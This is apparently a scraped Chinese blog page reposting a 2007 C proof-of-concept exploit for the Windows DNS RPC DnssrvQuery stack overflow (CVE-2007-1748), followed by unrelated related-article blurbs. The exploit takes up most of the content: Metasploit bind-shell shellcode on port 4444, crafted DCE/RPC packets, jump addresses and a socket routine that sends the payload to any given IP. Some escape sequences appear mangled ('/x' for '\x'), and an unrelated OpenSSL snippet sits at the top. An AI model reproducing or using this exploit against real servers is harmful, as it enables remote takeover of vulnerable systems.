Windows DNS DnssrvQuery() Stack Overflow

CVE-2022-0778严重漏洞解决方案 以下是从Red Hat官网上找到的关于OpenSSL的安全缺陷,详细请读下面链接: CVE-2022-0778- 红帽客户门户 (redhat.com)https://access.redhat.com/security/cve/cve-2022-0778 描述 在OpenSSL中发现了一个缺陷。可以通过制作具有无效显式曲线参数的证书来触发无限循环。由于证书解析发生在验证证书签名之前,因此解析外部提供的证书的任何进程都可能受到拒绝服务攻击。 我目前的Centos操作系统的版本是Centos7.9 阅读详情
/*
* Copyright (c) 2007 devcode
*
*
*                       ^^ D E V C O D E ^^
*
* Windows DNS DnssrvQuery() Stack Overflow
* [CVE-2007-1748]
*
*
* Description:
*    A vulnerability has been reported in Microsoft Windows, which can
*    be exploited by malicious people to compromise a vulnerable system.
*    The vulnerability is caused due to a boundary error in an RPC interface
*    of the DNS service used for remote management of the service. This can
*    be exploited to cause a stack-based buffer overflow via a specially
*    crafted RPC request. The DnssrvQuery function is vulnerable to this stack
*    overflow.
*
*
* Hotfix/Patch:
*    None as of this time.
*
* Vulnerable systems:
*         Microsoft Windows 2000 Advanced Server
*      Microsoft Windows 2000 Datacenter Server
*         Microsoft Windows 2000 Server
*         Microsoft Windows Server 2003 Datacenter Edition
*         Microsoft Windows Server 2003 Enterprise Edition
*         Microsoft Windows Server 2003 Standard Edition
*         Microsoft Windows Server 2003 Web Edition
*         Microsoft Windows Storage Server 2003
*
* Tested on:
*         Microsoft Windows 2000 Advanced Server
*
*    This is a PoC and was created for educational purposes only. The
*    author is not held responsible if this PoC does not work or is
*    used for any other purposes than the one stated above.
*
* Notes:
*    <3 Metasploit for releasing it yesterday, only had time to look at it
*    this morning. Also props to Winny Thomas.
*
*    There are two ways we can embed shellcode. One is to pad each byte of
*    the shellcode with '/' and jmp EBX. The other way is the one Winny used
*    which is to pass in the shellcode as the third argument in the rpc function
*    and jmp EDX after incrementing it appropriately. I used the latter :)
*
*    ^^ #pen15, InTeL, D-oNe and ps. St0n3y is nub kthxbye
*
*
*/
#include <iostream>
#include <windows.h>

#pragma comment( lib, "ws2_32" )

/* win32_bind -  EXITFUNC=thread LPORT=4444 Size=342 Encoder=PexFnstenvMov
http://metasploit.com */
unsigned char uszShellcode[] =
       "/x6a/x50/x59/xd9/xee/xd9/x74/x24/xf4/x5b/x81/x73/x13/x76/xd2/xab"
       "/x1f/x83/xeb/xfc/xe2/xf4/x8a/xb8/x40/x52/x9e/x2b/x54/xe0/x89/xb2"
       "/x20/x73/x52/xf6/x20/x5a/x4a/x59/xd7/x1a/x0e/xd3/x44/x94/x39/xca"
       "/x20/x40/x56/xd3/x40/x56/xfd/xe6/x20/x1e/x98/xe3/x6b/x86/xda/x56"
       "/x6b/x6b/x71/x13/x61/x12/x77/x10/x40/xeb/x4d/x86/x8f/x37/x03/x37"
       "/x20/x40/x52/xd3/x40/x79/xfd/xde/xe0/x94/x29/xce/xaa/xf4/x75/xfe"
       "/x20/x96/x1a/xf6/xb7/x7e/xb5/xe3/x70/x7b/xfd/x91/x9b/x94/x36/xde"
       "/x20/x6f/x6a/x7f/x20/x5f/x7e/x8c/xc3/x91/x38/xdc/x47/x4f/x89/x04"
       "/xcd/x4c/x10/xba/x98/x2d/x1e/xa5/xd8/x2d/x29/x86/x54/xcf/x1e/x19"
       "/x46/xe3/x4d/x82/x54/xc9/x29/x5b/x4e/x79/xf7/x3f/xa3/x1d/x23/xb8"
       "/xa9/xe0/xa6/xba/x72/x16/x83/x7f/xfc/xe0/xa0/x81/xf8/x4c/x25/x81"
       "/xe8/x4c/x35/x81/x54/xcf/x10/xba/xba/x43/x10/x81/x22/xfe/xe3/xba"
       "/x0f/x05/x06/x15/xfc/xe0/xa0/xb8/xbb/x4e/x23/x2d/x7b/x77/xd2/x7f"
       "/x85/xf6/x21/x2d/x7d/x4c/x23/x2d/x7b/x77/x93/x9b/x2d/x56/x21/x2d"
       "/x7d/x4f/x22/x86/xfe/xe0/xa6/x41/xc3/xf8/x0f/x14/xd2/x48/x89/x04"
       "/xfe/xe0/xa6/xb4/xc1/x7b/x10/xba/xc8/x72/xff/x37/xc1/x4f/x2f/xfb"
       "/x67/x96/x91/xb8/xef/x96/x94/xe3/x6b/xec/xdc/x2c/xe9/x32/x88/x90"
       "/x87/x8c/xfb/xa8/x93/xb4/xdd/x79/xc3/x6d/x88/x61/xbd/xe0/x03/x96"
       "/x54/xc9/x2d/x85/xf9/x4e/x27/x83/xc1/x1e/x27/x83/xfe/x4e/x89/x02"
       "/xc3/xb2/xaf/xd7/x65/x4c/x89/x04/xc1/xe0/x89/xe5/x54/xcf/xfd/x85"
       "/x57/x9c/xb2/xb6/x54/xc9/x24/x2d/x7b/x77/x99/x1c/x4b/x7f/x25/x2d"
       "/x7d/xe0/xa6/xd2/xab/x1f/x00";

/* 50abc2a4-574d-40b3-9d66-ee4fd5fba076 v5.0 */
unsigned char uszDceBind[] =
       "/x05/x00/x0B/x03/x10/x00/x00/x00/x48/x00/x00/x00/x01/x00/x00/x00"
       "/xD0/x16/xD0/x16/x00/x00/x00/x00/x01/x00/x00/x00/x00/x00/x01/x00"
       "/xA4/xC2/xAB/x50/x4D/x57/xB3/x40/x9D/x66/xEE/x4F/xD5/xFB/xA0/x76"
       "/x05/x00/x00/x00/x04/x5D/x88/x8A/xEB/x1C/xC9/x11/x9F/xE8/x08/x00"
       "/x2B/x10/x48/x60/x02/x00/x00/x00";

/* DnssrvQuery: opnum 1 */
unsigned char uszDceCall[] =
       "/x05/x00/x00/x83/x10/x00/x00/x00/x7f/x06/x00/x00/x01/x00/x00/x00"
       "/x57/x06/x00/x00/x00/x00/x01/x00/xa4/xc2/xab/x50/x4d/x57/xb3/x40"
       "/x9d/x66/xee/x4f/xd5/xfb/xa0/x76/x10/xc2/x40/x00/x02/x00/x00/x00"
       "/x00/x00/x00/x00/x02/x00/x00/x00/x44/x00/x00/x00/x94/xfa/x13/x00"
       "/xcc/x04/x00/x00/x00/x00/x00/x00/xcc/x04/x00/x00";

unsigned char uszDceEnd1[] =
       "/x41/x00/xb8/xc0/x40/x00/x57/x01/x00/x00/x00/x00/x00/x00/x57/x01"
       "/x00/x00";

unsigned char uszJmps[] =
       /* 0x77E14C29 - jmp esp user32.dll (Windows 2000 Advanced Server SP4) */
       "/x5C/x29/x5C/x4C/x5C/xE1/x5C/x77"

       /* inc edx, jmp edx */
       "/x5C/x42/x5C/x42/x5C/x42/x5C/x42"
       "/x5C/x42/x5C/x42/x5C/x42/x5C/x42/x5C/x42/x5C/x42/x5C/x42/x5C/x42"
       "/x5C/x42/x5C/x42/x5C/x42/x5C/x42/x5C/x42/x5C/x42/x5C/x42/x5C/x42"
       "/x5C/x42/x5C/x42/x5C/x42/x5C/x42/x5C/x42/x5C/x42/x5C/x42/x5C/x42"
       "/x5C/x42/x5C/xFF/x5C/xE2";

void usage( ) {
       printf("/n/t/tMicrosoft Windows DNS RPC Stack Overflow/n"
                       "/t/t/t(c) 2007 devcode/n/n"
                       "usage: dns.exe <ip> <port>/n");
}

int main( int argc, char **argv ) {
       WSADATA wsaData;
       SOCKET sConnect;
       SOCKADDR_IN sockAddr;
       char szRecvBuf[4096];
       unsigned char uszPacket[1663];
       int nRet;

       if ( argc < 3 ) {
               usage( );
               return -1;
       }

       if ( WSAStartup( MAKEWORD( 2, 0 ), &wsaData ) != NO_ERROR ) {
               printf("[-] Unable to startup winsock/n");
               return -1;
       }

       sConnect = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
       if ( sConnect == INVALID_SOCKET ) {
               printf("[-] Invalid socket/n");
               return -1;
       }

       sockAddr.sin_family = AF_INET;
       sockAddr.sin_addr.s_addr = inet_addr( argv[1] );
       sockAddr.sin_port = htons( atoi( argv[2] ) );

       printf("[+] Connecting to %s:%s/n", argv[1], argv[2] );
       nRet = connect( sConnect, (SOCKADDR *)&sockAddr, sizeof( sockAddr ) );
       if ( nRet == SOCKET_ERROR ) {
               closesocket( sConnect );
               printf("[-] Cannot connect to server/n");
               return -1;
       }

       printf("[+] Sending DCE Bind packet.../n");
       nRet = send( sConnect, (const char *)uszDceBind, sizeof( uszDceBind ) - 1, 0 );
       if ( nRet  == SOCKET_ERROR ) {
               closesocket( sConnect );
               printf("[-] Cannot send/n");
               return -1;
       }

       nRet = recv( sConnect, szRecvBuf, sizeof( szRecvBuf ), 0 );
       if ( nRet <= 0 ) {
               closesocket( sConnect );
               printf("[-] Recv failed/n");
               return -1;
       }

       memset( uszPacket, 0x5C, sizeof( uszPacket ) );
       memcpy( uszPacket, uszDceCall, sizeof( uszDceCall ) - 1 );
       memcpy( uszPacket + 1006, uszJmps, sizeof( uszJmps ) - 1 );
       memcpy( uszPacket + 1302, uszDceEnd1, sizeof( uszDceEnd1 ) );
       memcpy( uszPacket + 1320, uszShellcode, sizeof( uszShellcode ) );

       printf("[+] Sending DCE Request packet.../n");
       nRet = send( sConnect, (const char *)uszPacket, sizeof( uszPacket ), 0 );
       if ( nRet == SOCKET_ERROR ) {
               closesocket( sConnect );
               printf("[-] Cannot send/n");
               return -1;
       }

       printf("[+] Check shell on port 4444 :)/n");
       nRet = recv( sConnect, szRecvBuf, sizeof( szRecvBuf ), 0 );
       closesocket( sConnect );
       return 0;
}
 
【控制台】 \xce\xde\xb7\xa8\xb4\xf2\xbf\xaa \xce\xde\xb7\xa8\xb4\xf2\xbf\xaa 阅读详情

相关推荐

复现基于PYNQ-Z2的手写数字识别卷积加速器设计

来源雪天鱼。

eachanm的博客 968

Microsoft Windows DNS RPC Buffer Overflow

 Microsoft Windows DNS RPC Buffer OverflowOriginal release date: April 13, 2007Last revised: --Source: US-CERTSystems Affected Microsoft Windows 2003 Server Microsoft Windows 2000 S

1515

7.7 数据分析助手:用AI洞察业务数据价值

摘要:AI数据分析助手构建指南 本文介绍了如何构建AI数据分析助手,帮助企业从业务数据中提取价值。系统包含四大核心模块:自然语言理解模块解析用户查询意图,查询规划模块转换为SQL语句,数据可视化模块生成图表,以及洞察生成模块提供深度分析。文章通过销售数据分析助手案例,展示了从数据库准备到自然语言处理的完整实现流程,包括示例代码和系统架构图。该解决方案可降低数据分析门槛,让业务人员直接参与数据探索,提升决策效率。

yonggeit的博客 4093

ms07-029漏洞学习

漏洞描述 ms07-029是一个远程执行代码漏洞,成功利用此漏洞的×××者可以远程完全控制受影响的系统。 ×××者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。 漏洞编号 CVE-2007-1748 BID-23470 ×××目标及端口 DNS服务器 端口:需要自行确定 影响系统 Microsoft Windows 2000 Server Service Pack...

weixin_34284188的博客 610

保姆级教程:用Docker Compose一键部署WVP-PRO+ZLM+录像服务(含Nginx反代)

本文提供了一套完整的容器化GB28181视频平台部署方案,通过Docker Compose实现WVP-PRO、ZLMediaKit(ZLM)和录像服务的一键式部署。详细介绍了环境准备、架构设计、容器化部署实战以及高级配置优化,帮助用户快速搭建高性能视频监控管理平台,适用于安防行业和物联网设备管理场景。

weixin_30415113的博客 861

鸿蒙平板PC应用开发:在termux中安装ubuntu

打开AVNC点击右上角的设置图标,然后点击 输入 , 点击手势栏目中的 单指轻扫 ,选择滚动远程内容

DMZDAMS的博客 5202

DNS SRV查询:使用DNS服务器做服务发现

DNS SRV 是 DNS 记录中一种,用来查询指定服务的地址。与常见的A记录、CNAME 不同的是,SRV中除了记录服务器的地址,还记录了服务的端口,并且可以设置每个服务地址的优先级和权重。RFC-2782 给出DNS SRV的建议标准,它是在2000年的时候提出来的。 访问服务的时候,本地的服务从 DNS 服务器查询到一个地址列表,根据优先级和权重,从中选取一个地址作为本次请求的目标地址。 一个支持SRV的 LDAP client 通过查询域名,可以得知 LDAP 服务的 IP 地址和服务端口:

xcl119xcl的专栏 6493

多组学联合高级Mantel-test热图

对应的是「metabo」中物质间的相关性热图,单元格色块颜色表示相关系数大小,橙色表示+相关,绿色表示-相关;单元格内的数值表示相关性值大小,星号表示显著性。双组学(微生物组/ 转录组/代谢组等两两组合)关联分析,可视化组学特征间的关联显著性、强度及相关方向。表示<trans>与<metabo>中物质的Mantel test结果。表示整体相关的系数,连线颜色表示相关系数的显著性检验结果。宿主-微生物互作、疾病多组学机制、环境-生物多组学关联。为物质名称,不允许存在空值、重复值。

多组・学・多组学 371

CVE-2020-7471漏洞复现及浅析

CVE-2020-7471漏洞复现及浅析 一、 CVE-2020-7471介绍 2020年2月3日,Django 官方发布安全通告公布了一个通过StringAgg(分隔符)实现利用的潜在SQL注入漏洞(CVE-2020-7471)。攻击者可通过构造分隔符传递给聚合函数contrib.postgres.aggregates.StringAgg,从而绕过转义符号(\)并注入恶意SQL语句。 受影响版本: • Django 1.11.x < 1.11.28 • Django 2.2.x < 2.2.1

qq_29365787的博客 1244

MDF和DHF、DMR、DHR三者差异?注册与备案文件?医疗器械产品技术要求编写指导原则

定义:设计历史文档(DHF ) 指的是描述某医疗器械成品设计过程的有关记录。内容:DHF包括设计开发活动的所有记录。从最初的策划、客户需求、设计输入,设计输出、设计验证、设计确认、所有的设计评审,设计转换,以及设计变更相关的所有记录。均属于DHF的一部分。要求:各制造商应为每个类型的器械建立并保持设计历史文件。设计历史文件应包含或引用必要的记录,以证实设计符合经批准的设计计划和法规的要求。

学海无涯的专栏 9112

51、基于深度卷积神经网络的自闭症分类研究

本研究提出了一种基于深度卷积神经网络的自闭症分类方法,通过融合VGGNet-19和ResNet-52模型的特征,并在决策层采用SVM分类器,实现了对自闭症谱系障碍(ASD)和典型发育(TD)个体的准确区分。研究使用ABIDE数据集,结合数据增强和特征拼接技术,取得了88.12%的分类准确率和0.88的ROC曲线下面积。结果表明,该方法在自闭症自动诊断中具有良好的性能,同时研究也探讨了其局限性,并展望了未来改进方向,如多模态数据融合、迁移学习和模型可解释性的提升。

grpc6streamer的博客 132

java栈溢出漏洞cve_CVE-2007-3655,CNNVD-200707-157,CNVD-2007-4314|Sun Java运行时环境WebStart JNLP文件处理栈溢出漏洞 - 信息安...

Java WebStart是用于简化在客户端部署Java应用程序的技术。 Java WebStart在处理畸形格式的JNLP文档时存在漏洞,攻击者可能利用此漏洞通过诱使用户打开处理恶意文件控制用户系统。 Java WebStart中的javaws.exe负责从JNLP文件中获得下载指令。JNLP文件中的jnlp单元包含有codebase属性,在之后的操作中通过sprintf将该属性拷贝到了1K的缓...

weixin_30679649的博客 308

仅使用 Python 创建的 Web 应用程序(前端版本)第03章Streamlit-多页面

接下来,我们将解释多页面切换。Streamlit 没有“多页面”或“页面路由”等功能。另一方面,通过根据用户动作切换要执行的功能,可以使其看起来好像存在“多个页面”。注意:我认为它类似于 SinglePageApplication (SPA)。然而,根据 React、Vue 等中使用的 URL 路径来更改页面的路由很困难。还有一个用于获取查询参数的实验性 API,但如果您确实需要这种功能,我认为认真尝试编写 React 或 Vue 是个好主意。我们来看一个通过按下按钮来切换页面的示例,如下所示。

xianyinsuifeng的博客 1331

【DNS】DNS SRV配置和检查

检查DNS SRV配置信息

gaojie314的专栏 2097

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

实现windows下的动态域名解析服务

动态域名解析系统将用户的动态IP地址映射到一个固定的域名解析服务上(DDNS).动态域名解析系统一般由两部分构成。       第一部分是服务器端程序,位于服务商的主机上。另一部分是客户端程序,就运行在广大用户的主机上。在每次连接网络的时候,客户端程序就会通过信息传递,把该主机的动态IP地址传送给位于服务商主机上的服务器程序,服务器程序负责提供DNS服务并实现动态域名解析服务,再收到客户端通知

sanshao27的专栏 1万+

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

从CVE-2007-1567分析学习构造poc

测试溢出点范围 import socket buffer="A"*1000 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.136.140",21)) str="User "+buffer+"\r\n" str=str.encode() s.send(str) 重运行或重附加报错 删除FtpDoemo...

黑夜黎明 1609

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

利用DNSQuery 进行DNS查询

#include <WinSock2.h> #include <WinDNS.h> #pragma comment (lib, "Dnsapi.lib") #pragma comment (lib, "ws2_32.lib") int _tmain(int argc, _TCHAR* argv[]) { PDNS_RECORD pResu...

2640

windows如何添加本机dns记录_如何规避Sysmon DNS监控

译文声明本文是翻译文章,文章原作者xpnsec,文章来源:http://blog.xpnsec.com 原文地址:https://blog.xpnsec.com/evading-sysmon-dns-monitoring/译文仅供参考,具体内容表达以及含义原文为准0x00 前言Sysmon在最近更新中添加了一个功能,可以记录DNS事件。这一点对防御方非常有用(呼吁SysInternals团队继续免...

weixin_39873191的博客 590

DNS系统SRV和NAPTR记录类型说明

1、SRV记录类型:(标记是33) SRV 记录是一个域名系统 (DNS) 资源记录,用于标识承载特定服务的计算机。 例子: _xmpp-server._tcp.aischang.com. IN SRV 5 0 5269 xmpp-server.l.google.com. 项目的含义: _xmpp-server 服务(Service)的名字 _tcp 所使用的协议(Protocol)类型,比如 “...

aischang 2万+

windows下DNS手动修改无效

今天手动配置电脑DNS时,发现修改不了。 查了一下,使用ipconfig /flushDNS清理一下,然后在修改就OK了

ilmlife的专栏 8533

[置顶]DNS详解

DNS的作用: DNS,Domain Name System或者Domain Name Service(域名系统或者余名服务)。域名系统为Internet上的主机分配域名地址和IP地址。用户使用域名地址,该系统就会自动把域名地址转为IP地址。域名服务是运行域名系统的Internet工具。执行域名服务的服务器称之为DNS服务器,通过DNS服务器来应答域名服务的查询。 我们先把DNS的工作过程展现...

云原生运维圈 970

DNS服务原理与基础

又到了日常周末学习总结。 linux深度学习,进入服务架设阶段。 这一篇主要讲到DNS服务的原理,与一些基础DNS服务的功能。 应付日常生活与普通公司,足矣。 为什么会有DNS服务的出现? 整个internet大家庭中连接了数以亿记的服务器,个人主机,其中大部分的网站、邮件服务等服务器都是用了域名形式的地址,如www.google.com、mail.163.com等。很显然

root9527 8392

循环嵌套(多层 for 循环)

表:order(订单表,order_id, user_id)、user(用户表,user_id, user_name)✅ 优化:先查所有订单,拿到所有 user_id 批量 in 查询,内存 join。✅ 优化:先把优惠券转 HashMap,单层循环查找(hash 查找 O (1))SQL 只有 2 次,O (1) 数据库查询,内存遍历 O (n)。需求:查询所有订单列表,同时带出每个订单对应的用户名称。需求:订单列表、优惠券列表,把订单匹配对应的优惠券名称。复杂度:O (M+N),非常快。

weixin_43732943的博客 215
上一篇: 主流HIPS产品深度测试
下一篇: Microsoft Windows DNS Service RPC Stack Overflow Lets Remote Users Execute Arbitrary Code
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值